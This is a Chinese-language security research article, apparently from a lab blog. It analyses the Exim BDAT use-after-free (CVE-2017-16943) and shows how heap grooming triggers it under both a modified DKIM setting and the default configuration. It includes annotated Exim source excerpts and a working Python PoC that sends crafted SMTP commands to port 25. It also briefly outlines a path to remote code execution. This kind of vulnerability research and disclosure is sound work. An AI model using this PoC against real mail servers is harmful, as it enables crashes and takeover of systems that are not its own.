作者:Hcamael@知道創宇404實驗室 英文版本:http://www.bjnorthway.com/1029/

上一篇分析出來后,經過@orange的提點,得知了meh公布的PoC是需要特殊配置才能觸發,所以我上一篇分析文章最后的結論應該改成,在默認配置情況下,meh提供的PoC無法成功觸發uaf漏洞。之后我又對為啥修改了配置后能觸發和默認情況下如何觸發漏洞進行了研究

重新復現漏洞

比上一篇分析中復現的步驟,只需要多一步,注釋了/usr/exim/configure文件中的control = dkim_disable_verify

然后調整下poc的padding,就可以成功觸發UAF漏洞,控制rip

分析特殊配置下的觸發流程

在代碼中有一個變量是dkim_disable_verify, 在設置后會變成true,所以注釋掉的情況下,就為默認值false, 然后再看看receive.c中的代碼:

BOOL
receive_msg(BOOL extract_recip)
{
......
1733:if (smtp_input && !smtp_batched_input && !dkim_disable_verify)
1734:  dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
1735:#endif

進入了dkim_exim_verify_init函數,之后的大致流程:

dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get(PDKIM_MAX_BODY_LINE_LEN);

bdat_getc -> smtp_getc -> smtp_refill -> dkim_exim_verify_feed -> pdkim_feed -> string_catn -> string_get -> store_get(0x64)

#define PDKIM_MAX_BODY_LINE_LEN     16384       //0x4000

在上一篇文章中說過了,無法成功觸發uaf漏洞的原因是,被free的堆處于堆頂,釋放后就和top chunk合并了。

在注釋了dkim的配置后,在dkim_exim_verify_init 函數的流程中,執行了一個store_get 函數,申請了一個0x4000大小的堆,然后在dkim_exim_verify_init 函數和dkim_exim_verify_feed 函數中,都有如下的代碼:

store_pool = POOL_PERM;
......
store_pool = dkim_verify_oldpool;
---------------
enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };

store_pool全局變量被修改為了1,之前說過了,exim自己實現了一套堆管理,當store_pool不同時,相當于對堆進行了隔離,不會影響receive_msg 函數中使用堆管理時的current_block這類的堆管理全局變量

當dkim相關的代碼執行結束后,還把store_pool恢復回去了

因為申請了一個0x4000大小的堆,大于0x2000,所以申請之后yield_length全局變量的值變為了0,導致了之后store_get(0x64)再次申請了一塊堆,所以有了兩塊堆放在了heap1的上面,釋放heap1后,heap1被放入了unsortbin,成功觸發了uaf漏洞,造成crash。(之前的文章中都有寫到)

默認配置情況下復現漏洞

在特殊配置情況下復現了漏洞后,又進行了如果在默認配置情況下觸發漏洞的研究。

在@explorer大佬的教導下,發現了一種在默認情況下觸發漏洞的情況。

其實觸發的關鍵點,就是想辦法在heap1上面再malloc一個堆,現在我們從頭來開始分析

// daemon.c

137 static void
138 handle_smtp_call(int *listen_sockets, int listen_socket_count,
139  int accept_socket, struct sockaddr *accepted)
140 {
......
348 pid = fork();
352 if (pid == 0)
353   {
......
504     if ((rc = smtp_setup_msg()) > 0)
505       {
506       BOOL ok = receive_msg(FALSE);
......

首先,當有新連接進來的時候,fork一個子進程,然后進入上面代碼中的那個分支,smtp_setup_msg函數是用來接收命令的函數,我們先發一堆無效的命令過去(padding),控制yield_length的值小于0x100,目的上一篇文章說過了,因為命令無效,流程再一次進入了smtp_setup_msg

這時候我們發送一個命令BDAT 16356

然后有幾個比較重要的操作:

5085       if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
5093       chunking_data_left = chunking_datasize;
5100       lwr_receive_getc = receive_getc;
5101       lwr_receive_getbuf = receive_getbuf;
5102       lwr_receive_ungetc = receive_ungetc;
5104       receive_getc = bdat_getc;
5105       receive_ungetc = bdat_ungetc;

首先是把輸入的16356賦值給chunking_data_left

然后把receive_getc換成bdat_getc函數

再做完這些的操作后,進入了receive_msg函數,按照上篇文章的流程差不多,顯示申請了一個0x100的heap1

然后進入receive_getc=bdat_getc讀取數據:

534 int
535 bdat_getc(unsigned lim)
536 {
......
546   if (chunking_data_left > 0)
547     return lwr_receive_getc(chunking_data_left--);

lwr_receive_getc=smtp_getc通過該函數獲取16356個字符串

首先,我們發送16352個a作為padding,然后執行了下面這流程:

  • store_extend return 0 -> store_get -> store_release

先申請了一個0x4010的heap2,然后釋放了長度為0x2010的heap1

然后發送:\r\n,進入下面的代碼分支:

1902   if (ch == '\r')
1903     {
1904     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1905     if (ch == '\n')
1906       {
1907       if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE;
1908       goto EOL;
1909       }

跳到了EOL,最重要的是最后幾行代碼:

2215   header_size = 256;
2216   next = store_get(sizeof(header_line));
2217   next->text = store_get(header_size);
2218   ptr = 0;
2219   had_zero = 0;
2220   prevlines_length = 0;
2221   }      /* Continue, starting to read the next header */

把一些變量重新進行了初始化,因為之前因為padding執行了store_get(0x4000),所以這個時候yield_length=0 這個時候再次調用store_get將會申請一個0x2000大小堆,從unsortbin中發現heap1大小正好合適,所以這個時候得到的就是heap1,在heap1的頂上有一個之前next->text使用,大小0x4010,未釋放的堆。

之后流程的原理其實跟之前的差不多,PoC如下:

r = remote('localhost', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
# raw_input()
r.sendline('a'*0x1300+'\x7f')
# raw_input()
r.recvuntil('command')
r.sendline('BDAT 16356')
r.sendline("a"*16352+':\r')
r.sendline('aBDAT \x7f')
s = 'a'*6 + p64(0xabcdef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
exp

根據該CVE作者發的文章,得知是利用文件IO的fflush來控制第一個參數,然后通過堆噴和內存枚舉來來偽造vtable,最后跳轉到expand_string函數來執行命令,正好我最近也在研究ctf中的_IO_FILE的相關利用(之后應該會寫幾篇這方面相關的blog),然后實現了RCE,結果圖如下:

參考鏈接

  1. https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/479/